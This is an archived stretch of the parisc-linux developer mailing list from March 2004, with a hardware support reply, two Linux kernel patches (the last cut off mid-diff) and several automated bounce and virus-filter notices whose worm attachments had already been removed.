	id HS3KH4QY; Fri, 26 Mar 2004 09:08:40 -0400
InterScan-Notification: yes
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Mar 2004 13:09:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21200

This is a multi-part message in MIME format.

------=_NextPart_000_1080392932_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

************* eManager Notification **************

Este mensaje esta prohibido para su envio en el servidor.

Source mailbox: "parisc-linux@lists.parisc-linux.org"
Destination mailbox(es): pcontrerasc@indura.net
Policy: Replaced with text
Attachment file name: message.scr - audio/x-wav
Action: Attachment Removal

******************* End of message *******************

------=_NextPart_000_1080392932_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

From: parisc-linux@lists.parisc-linux.org
To: pcontrerasc@indura.net
Subject: Mail Delivery (failure pcontrerasc@indura.net)
Date: Fri, 26 Mar 2004 09:08:44 -0400
MIME-Version: 1.0
Content-Type: multipart/related;
	type="multipart/alternative";
	boundary="----=_NextPart_000_001B_01C0CA80.6B015D10"
X-Priority: 3
X-MSMail-Priority: Normal

------=_NextPart_000_1080392932_B78506032.R82506026--


From - Thu Nov 08 21:31:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mpshenoy@vsnl.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 Visualize C180 Workstation display does not
	appear.
Date: Fri, 26 Mar 2004 09:08:14 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <83fce8084012f4.84012f483fce80@vsnl.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416623307 7290 80.91.229.3 (22 Nov 2014 02:28:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Morrison <ja2morri@csclub.uwaterloo.ca>
Original-X-From: mpshenoy@vsnl.com  Fri Mar 26 07:10:15 2004
Return-Path: <mpshenoy@vsnl.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp3.vsnl.net (smtp3.vsnl.net [203.200.235.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D2024856
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Mar 2004 07:10:15 -0700 (MST)
Original-Received: from vsnl.net ([127.0.0.1])
	by smtp3.vsnl.net (iPlanet Messaging Server 5.2 HotFix 1.16 (built May
	14 2003)) with ESMTP id <0HV6009JXSLQRH@smtp3.vsnl.net> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 26 Mar 2004 19:38:14 +0530 (IST)
Original-Received: from ([172.16.28.137])
	by smtp3.vsnl.net	(InterScan E-Mail VirusWall Unix); Fri,
	26 Mar 2004 19:38:14 +0530 (IST)
Original-Received: from [172.16.28.181] by pop3.vsnl.net (mshttpd); Fri,
	26 Mar 2004 09:08:14 -0500
X-Mailer: iPlanet Messenger Express 5.2 HotFix 1.16 (built May 14 2003)
Content-language: en
Content-disposition: inline
X-Accept-Language: en
Priority: normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Mar 2004 14:10:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21201

Yes. I have PS/2 keyboard and a mouse plugged in.



----- Original Message -----
From: James Morrison <ja2morri@csclub.uwaterloo.ca>
Date: Thursday, March 25, 2004 10:20 pm
Subject: Re: [parisc-linux] HP 9000 Visualize C180 Workstation display does not appear.

> 
> "Prakash Shenoy" <mpshenoy@vsnl.com> writes:
> 
> > Hi!
> > 
> > I recently bought a HP 9000 Visualize C180 workstation from a 
> vendor on eBay
> > and EVC to VGA Video Adapter Cable from another vendor. Both 
> claim that Non
> > DOA on arrival.
> > 
> > The workstation appears to boot properly but no display appears. 
> Has any one
> > come across this situation.
> > 
> > Please help.
> > 
> > Best Regards
> > pms
> 
> Do you have a keyboard plugged in?
> 
> Jim
> 
> 



From - Thu Nov 08 21:31:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] David S. Miller's patch fix: N4k: failled to mount /
	rw since initscripts-2.85-12
Date: Fri, 26 Mar 2004 18:19:48 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <40561EAF00008738@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="========/40561EAF00008738/mail.tiscali.be"
X-Trace: ger.gmane.org 1416623307 7295 80.91.229.3 (22 Nov 2014 02:28:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Fri Mar 26 10:19:51 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id D6C084878
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Mar 2004 10:19:50 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) id 1B6uzl-0007Do-00
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Mar 2004 18:19:49 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 26 Mar 2004 18:19:48 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Mar 2004 17:19:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21202


--========/40561EAF00008738/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

Hi all,

Here is the corresponding patch for 2.6.5-rc2-pa3:
--- linux-2.6.5-rc2-pa3/arch/parisc/kernel/sys_parisc32.c.orig	2004-03-01
07:47:39.000000000 +0100
+++ linux-2.6.5-rc2-pa3/arch/parisc/kernel/sys_parisc32.c	2004-03-26 17:15:41.300604464
+0100
@@ -651,14 +651,13 @@
 	if (err)
 		goto out;
 
-	if (!type_page) {
-		err = -EINVAL;
-		goto out;
+	if (type_page) {
+		is_smb = !strcmp((char *)type_page, SMBFS_NAME);
+		is_ncp = !strcmp((char *)type_page, NCPFS_NAME);
+	} else {
+		is_smb = is_ncp = 0;
 	}
 
-	is_smb = !strcmp((char *)type_page, SMBFS_NAME);
-	is_ncp = !strcmp((char *)type_page, NCPFS_NAME);
-
 	err = copy_mount_stuff_to_kernel((const void *)(unsigned long)data, &data_page);
 	if (err)
 		goto type_out;
==========><=========

hth,
    Joel

PS1: because of bad wraping of my webmail interface I also attach it, sorry.
PS2: let me know if somebody is still interested by the corresponding 2.4
patch?

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr




--========/40561EAF00008738/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="sys_parisc32.c.diff"

LS0tIGxpbnV4LTIuNi41LXJjMi1wYTMvYXJjaC9wYXJpc2Mva2VybmVsL3N5c19wYXJpc2MzMi5j
Lm9yaWcJMjAwNC0wMy0wMSAwNzo0NzozOS4wMDAwMDAwMDAgKzAxMDAKKysrIGxpbnV4LTIuNi41
LXJjMi1wYTMvYXJjaC9wYXJpc2Mva2VybmVsL3N5c19wYXJpc2MzMi5jCTIwMDQtMDMtMjYgMTc6
MTU6NDEuMzAwNjA0NDY0ICswMTAwCkBAIC02NTEsMTQgKzY1MSwxMyBAQAogCWlmIChlcnIpCiAJ
CWdvdG8gb3V0OwogCi0JaWYgKCF0eXBlX3BhZ2UpIHsKLQkJZXJyID0gLUVJTlZBTDsKLQkJZ290
byBvdXQ7CisJaWYgKHR5cGVfcGFnZSkgeworCQlpc19zbWIgPSAhc3RyY21wKChjaGFyICopdHlw
ZV9wYWdlLCBTTUJGU19OQU1FKTsKKwkJaXNfbmNwID0gIXN0cmNtcCgoY2hhciAqKXR5cGVfcGFn
ZSwgTkNQRlNfTkFNRSk7CisJfSBlbHNlIHsKKwkJaXNfc21iID0gaXNfbmNwID0gMDsKIAl9CiAK
LQlpc19zbWIgPSAhc3RyY21wKChjaGFyICopdHlwZV9wYWdlLCBTTUJGU19OQU1FKTsKLQlpc19u
Y3AgPSAhc3RyY21wKChjaGFyICopdHlwZV9wYWdlLCBOQ1BGU19OQU1FKTsKLQogCWVyciA9IGNv
cHlfbW91bnRfc3R1ZmZfdG9fa2VybmVsKChjb25zdCB2b2lkICopKHVuc2lnbmVkIGxvbmcpZGF0
YSwgJmRhdGFfcGFnZSk7CiAJaWYgKGVycikKIAkJZ290byB0eXBlX291dDsK

--========/40561EAF00008738/mail.tiscali.be--


From - Thu Nov 08 21:31:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amavisd-new <postmaster@ns.os1group.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] VIRUS (Worm.SomeFool.P) IN MAIL FROM YOU
Date: Fri, 26 Mar 2004 13:50:44 -0400 (CLT)
Lines: 89
Approved: news@gmane.org
Message-ID: <VS12404-08@ns.os1group.com>
References: <20040326175013.AC1771980F7@ns.os1group.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
	boundary="----------=_1080323444-12404-3"
X-Trace: ger.gmane.org 1416623307 7300 80.91.229.3 (22 Nov 2014 02:28:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:27 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: MAILER-DAEMON  Fri Mar 26 10:55:02 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.os1group.com (ns.os1group.com [200.29.90.158])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF7994860
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Mar 2004 10:55:01 -0700 (MST)
Original-Received: from localhost (os1group.com [127.0.0.1])
	by ns.os1group.com (Postfix) with ESMTP id 23C881980FC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Mar 2004 13:50:44 -0400 (CLT)
In-Reply-To: <20040326175013.AC1771980F7@ns.os1group.com>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Mar 2004 17:55:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21203

This is a multi-part message in MIME format...

------------=_1080323444-12404-3
Content-Type: text/plain; charset="iso-8859-1"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

VIRUS ALERT

Our content checker found
    virus: Worm.SomeFool.P
in email presumably from you (<parisc-linux@lists.parisc-linux.org>), to the following recipient:
-> info@bgmconsultores.com

Please check your system for viruses,
or ask your system administrator to do so.

Delivery of the email was stopped!


For your reference, here are headers from your email:
------------------------- BEGIN HEADERS -----------------------------
Return-Path: <parisc-linux@lists.parisc-linux.org>
Received: by ns.os1group.com (Postfix, from userid 514)
	id 5AD181980DE; Fri, 26 Mar 2004 13:50:25 -0400 (CLT)
Received: from localhost by ns.os1group.com
	with SpamAssassin (2.63 2004-01-11);
	Fri, 26 Mar 2004 13:50:25 -0400
From: parisc-linux@lists.parisc-linux.org
To: info@bgmconsultores.com
Subject: *****ESTE CORREO PUEDE CONTENER SPAM***** Mail Delivery (failure info@bgmconsultores.com)
Date: Fri, 26 Mar 2004 13:54:47 -0400
Message-Id: <20040326175013.AC1771980F7@ns.os1group.com>
X-Spam-Flag: YES
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on ns.os1group.com
X-Spam-Level: *********
X-Spam-Status: Yes, hits=9.2 required=8.0 tests=HTML_40_50,HTML_MESSAGE,
	HTML_RELAYING_FRAME,MICROSOFT_EXECUTABLE,MIME_SUSPECT_NAME,
	MISSING_MIMEOLE,MSGID_FROM_MTA_SHORT,NO_REAL_NAME,PRIORITY_NO_NAME,
	RCVD_IN_DYNABLOCK,RCVD_IN_SORBS autolearn=no version=2.63
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----------=_40646D61.00DD7FAF"
-------------------------- END HEADERS ------------------------------

------------=_1080323444-12404-3
Content-Type: message/delivery-status
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
Content-Description: Delivery error report

Reporting-MTA: dns; ns.os1group.com
Received-From-MTA: smtp; ns.os1group.com ([127.0.0.1])
Arrival-Date: Fri, 26 Mar 2004 13:50:25 -0400 (CLT)

Final-Recipient: rfc822; info@bgmconsultores.com
Action: failed
Status: 5.7.1
Diagnostic-Code: smtp; 550 5.7.1 Message content rejected, id=12404-08 - VIRUS:
	Worm.SomeFool.P
Last-Attempt-Date: Fri, 26 Mar 2004 13:50:44 -0400 (CLT)

------------=_1080323444-12404-3
Content-Type: text/rfc822-headers
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
Content-Description: Undelivered-message headers

Received: by ns.os1group.com (Postfix, from userid 514)
	id 5AD181980DE; Fri, 26 Mar 2004 13:50:25 -0400 (CLT)
Received: from localhost by ns.os1group.com
	with SpamAssassin (2.63 2004-01-11);
	Fri, 26 Mar 2004 13:50:25 -0400
From: parisc-linux@lists.parisc-linux.org
To: info@bgmconsultores.com
Subject: *****ESTE CORREO PUEDE CONTENER SPAM***** Mail Delivery (failure info@bgmconsultores.com)
Date: Fri, 26 Mar 2004 13:54:47 -0400
Message-Id: <20040326175013.AC1771980F7@ns.os1group.com>
X-Spam-Flag: YES
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on ns.os1group.com
X-Spam-Level: *********
X-Spam-Status: Yes, hits=9.2 required=8.0 tests=HTML_40_50,HTML_MESSAGE,
	HTML_RELAYING_FRAME,MICROSOFT_EXECUTABLE,MIME_SUSPECT_NAME,
	MISSING_MIMEOLE,MSGID_FROM_MTA_SHORT,NO_REAL_NAME,PRIORITY_NO_NAME,
	RCVD_IN_DYNABLOCK,RCVD_IN_SORBS autolearn=no version=2.63
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----------=_40646D61.00DD7FAF"

------------=_1080323444-12404-3--


From - Thu Nov 08 21:31:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Postmaster@bm.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DELIVERY FAILURE: User diego_lifonti
 (diego_lifonti@it.bm.com) not listed in public Name & Address Book
Date: Fri, 26 Mar 2004 19:40:12 +0100
Lines: 107
Approved: news@gmane.org
Message-ID: <OFADE84DE6.E38EE1CF-ONC1256E63.0066C365@bm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
	boundary="==IFJRGLKFGIR42934UHRUHIHD"
X-Trace: ger.gmane.org 1416623307 7305 80.91.229.3 (22 Nov 2014 02:28:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:27 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: MAILER-DAEMON  Fri Mar 26 11:41:09 2004
Return-Path: <>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail26.messagelabs.com (mail26.messagelabs.com
	[193.109.254.131])
	by dsl2.external.hp.com (Postfix) with SMTP id 62B744896
	for <parisc-linux@parisc-linux.org>;
	Fri, 26 Mar 2004 11:41:09 -0700 (MST)
X-VirusChecked: Checked
X-Msg-Ref: server-12.tower-26.messagelabs.com!1080326463!6718212
X-StarScan-Version: 5.1.15; banners=.,-,-
Original-Received: (qmail 26972 invoked from network); 26 Mar 2004 18:41:03 -0000
Original-Received: from unknown (HELO bm-mil-all.bm.com) (212.31.238.50)
	by server-12.tower-26.messagelabs.com with SMTP;
	26 Mar 2004 18:41:03 -0000
Original-Received: from mail26.messagelabs.com ([193.109.254.131])
	by bm-mil-all.bm.com (Lotus Domino Release 5.0.8)
	with SMTP id 2004032619422666:11883 ;
	Fri, 26 Mar 2004 19:42:26 +0100 
X-VirusChecked: Checked
X-Env-Sender: parisc-linux@parisc-linux.org
X-Msg-Ref: server-7.tower-26.messagelabs.com!1080326461!6784545
X-StarScan-Version: 5.1.15; banners=-,-,it.bm.com
Original-Received: (qmail 27886 invoked from network); 26 Mar 2004 18:41:01 -0000
Original-Received: from unknown (HELO cdlfe1.cdlan.net) (217.171.32.242)
	by server-7.tower-26.messagelabs.com with SMTP;
	26 Mar 2004 18:41:01 -0000
Original-Received: (qmail 32584 invoked by uid 89); 26 Mar 2004 18:41:00 -0000
Delivered-To: lecoccole.com-info@lecoccole.com
Original-Received: (qmail 32569 invoked from network); 26 Mar 2004 18:40:59 -0000
Original-Received: from ppp-62-11-19-208.dialup.tiscali.it (HELO lecoccole.com)
	(62.11.19.208)
	by cdlfe1.cdlan.net with SMTP; 26 Mar 2004 18:40:41 -0000
X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com)
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	tigre.cdlan.net
X-Spam-Level: 
X-Spam-Status: No, hits=-4.6 required=5.0 tests=BAYES_00,NO_REAL_NAME,
	RCVD_IN_SORBS autolearn=no version=2.60
X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com)
X-MIMETrack: Itemize by SMTP Server on BM-MIL-ALL/BM/Y&R Inc(Release 5.0.8
	|June 18, 2001) at 03/26/2004 07:42:26 PM,
	Serialize by Router on BM-MIL-ALL/BM/Y&R Inc(Release 5.0.8 |June 18,
	2001) at 03/26/2004 07:42:28 PM,
	Serialize complete at 03/26/2004 07:42:28 PM
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Mar 2004 18:41:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21204

--==IFJRGLKFGIR42934UHRUHIHD
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Your message

  Subject: fake

was not delivered to:

  diego_lifonti@it.bm.com

because:

  User diego_lifonti (diego_lifonti@it.bm.com) not listed in public Name & Address Book



______________________________________________________________________
This email has been scanned by the MessageLabs Email Security System.
For more information please visit http://www.messagelabs.com/email 
______________________________________________________________________
--==IFJRGLKFGIR42934UHRUHIHD
Content-Type: message/delivery-status

Reporting-MTA: dns;bm-mil-all.bm.com

Final-Recipient: rfc822;diego_lifonti@it.bm.com
Action: failed
Status: 5.1.1
Diagnostic-Code: X-Notes;
	User diego_lifonti (diego_lifonti@it.bm.com) not listed in
	public Name & Address Book

--==IFJRGLKFGIR42934UHRUHIHD
Content-Type: message/rfc822

Received: from mail26.messagelabs.com ([193.109.254.131])
	by bm-mil-all.bm.com (Lotus Domino Release 5.0.8)
	with SMTP id 2004032619422666:11883 ;
	Fri, 26 Mar 2004 19:42:26 +0100 
X-VirusChecked: Checked
X-Env-Sender: parisc-linux@parisc-linux.org
X-Msg-Ref: server-7.tower-26.messagelabs.com!1080326461!6784545
X-StarScan-Version: 5.1.15; banners=-,-,it.bm.com
Received: (qmail 27886 invoked from network); 26 Mar 2004 18:41:01 -0000
Received: from unknown (HELO cdlfe1.cdlan.net) (217.171.32.242)
	by server-7.tower-26.messagelabs.com with SMTP;
	26 Mar 2004 18:41:01 -0000
Received: (qmail 32584 invoked by uid 89); 26 Mar 2004 18:41:00 -0000
Delivered-To: lecoccole.com-info@lecoccole.com
Received: (qmail 32569 invoked from network); 26 Mar 2004 18:40:59 -0000
Received: from ppp-62-11-19-208.dialup.tiscali.it (HELO lecoccole.com)
	(62.11.19.208)
	by cdlfe1.cdlan.net with SMTP; 26 Mar 2004 18:40:41 -0000
From: parisc-linux@parisc-linux.org
To: info@lecoccole.com
Subject: fake
Date: Fri, 26 Mar 2004 19:40:12 +0100
MIME-Version: 1.0
X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com)
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	tigre.cdlan.net
X-Spam-Level: 
X-Spam-Status: No, hits=-4.6 required=5.0 tests=BAYES_00,NO_REAL_NAME,
	RCVD_IN_SORBS autolearn=no version=2.60
X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com)
X-MIMETrack: Itemize by SMTP Server on BM-MIL-ALL/BM/Y&R Inc(Release 5.0.8
	|June 18, 2001) at 03/26/2004 07:42:26 PM,
	Serialize by Router on BM-MIL-ALL/BM/Y&R Inc(Release 5.0.8 |June 18,
	2001) at 03/26/2004 07:42:28 PM,
	Serialize complete at 03/26/2004 07:42:28 PM
Message-ID: <OFADE84DE6.E38EE1CF-ONC1256E63.0066C365@bm.com>
Content-Type: multipart/mixed; boundary="46885344"


--46885344
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=us-ascii

kill the writer of this document!


-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
This message has been checked for all known viruses by 
MessageLabs Virus Control Centre.  If you have any queries please
contact the London IT Helpdesk +44 (0)20 7300 6200.
--46885344
Content-Transfer-Encoding: 8bit
Content-Type: text/plain; charset="iso-8859-1";
	name="ATTACHMENT_BLOCKED-1831.txt"
Content-Disposition: inline; name="ATTACHMENT_BLOCKED-1831.txt"

***** Attachment removed by F-Prot Antivirus *****

The attachment/message

website.pif

was a virus/worm/trojan. It was removed.

This message was generated by F-Prot Antivirus Mail Scanner.
--46885344--


--==IFJRGLKFGIR42934UHRUHIHD--


From - Thu Nov 08 21:31:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Sproul <esproul@ntelos.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] gdth driver: selectively enable EISA/ISA/PCI
	support
Date: Fri, 26 Mar 2004 13:57:39 -0500
Lines: 400
Approved: news@gmane.org
Message-ID: <1080327459.14874.126.camel__49136.0137043104$1416623308$gmane$org@thunderbolt.oss.ntelos.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-LOqsCaV7bXDNtGbYOngx"
X-Trace: ger.gmane.org 1416623308 7309 80.91.229.3 (22 Nov 2014 02:28:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:28 +0000 (UTC)
Cc: PA-RISC Linux <parisc-linux@lists.parisc-linux.org>
To: Linux-SCSI <linux-scsi@vger.kernel.org>
Original-X-From: esproul@ntelos.net  Fri Mar 26 11:57:42 2004
Return-Path: <esproul@ntelos.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailrtr01.ntelos.net (mailrtr01.ntelos.net [216.12.0.101])
	by dsl2.external.hp.com (Postfix) with ESMTP id 561134894
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Mar 2004 11:57:42 -0700 (MST)
Original-Received: from thunderbolt.oss.ntelos.net (thunderbolt.oss.ntelos.net
	[216.12.8.195])
	by mailrtr01.ntelos.net (8.11.7/8.11.7) with ESMTP id i2QIver12756;
	Fri, 26 Mar 2004 13:57:41 -0500
X-Mailer: Ximian Evolution 1.4.5 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Mar 2004 18:57:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21205


--=-LOqsCaV7bXDNtGbYOngx
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Hi,
I'm new here, but I was encouraged to post the following patch which
helped me get the gdth driver to compile on a PA-RISC system.  The
original driver assumes that EISA/ISA/PCI are all enabled, but on
PA-RISC there is no ISA (8237A) support, so compilation broke trying to
implement ISA-style DMA (DMA_MODE_CASCADE).

The following patch breaks out the bus-dependent portions of the driver
and only enables them when the corresponding CONFIG_ option is set.  For
example, this allows the driver to compile when only CONFIG_PCI is set.

ftp://ftp.parisc-linux.org/patches/diff-2.6.5-gdth-01
This patch was written by Grant Grundler <grundler@parisc-linux.org> and
tested by me.  Attached is a 2.4.25 version of the patch which I created
from Grant's 2.6.5 original.  He gets all the credit. ;)

Cheers,
Eric



--=-LOqsCaV7bXDNtGbYOngx
Content-Disposition: attachment; filename=gdth-2.6-noisa.patch
Content-Type: text/x-patch; name=gdth-2.6-noisa.patch; charset=
Content-Transfer-Encoding: 7bit

--- a/drivers/scsi/gdth.c	7 Feb 2004 14:02:43 -0000	1.8
+++ b/drivers/scsi/gdth.c	24 Mar 2004 17:19:06 -0000
@@ -401,16 +401,21 @@ static void gdth_copy_internal_data(int 
                                     char *buffer,ushort count);
 static int gdth_internal_cache_cmd(int hanum,Scsi_Cmnd *scp);
 static int gdth_fill_cache_cmd(int hanum,Scsi_Cmnd *scp,ushort hdrive);
-
+#ifdef CONFIG_EISA
 static int gdth_search_eisa(ushort eisa_adr);
+static int gdth_init_eisa(ushort eisa_adr,gdth_ha_str *ha);
+#endif
+#ifdef CONFIG_ISA
 static int gdth_search_isa(ulong32 bios_adr);
+static int gdth_init_isa(ulong32 bios_adr,gdth_ha_str *ha);
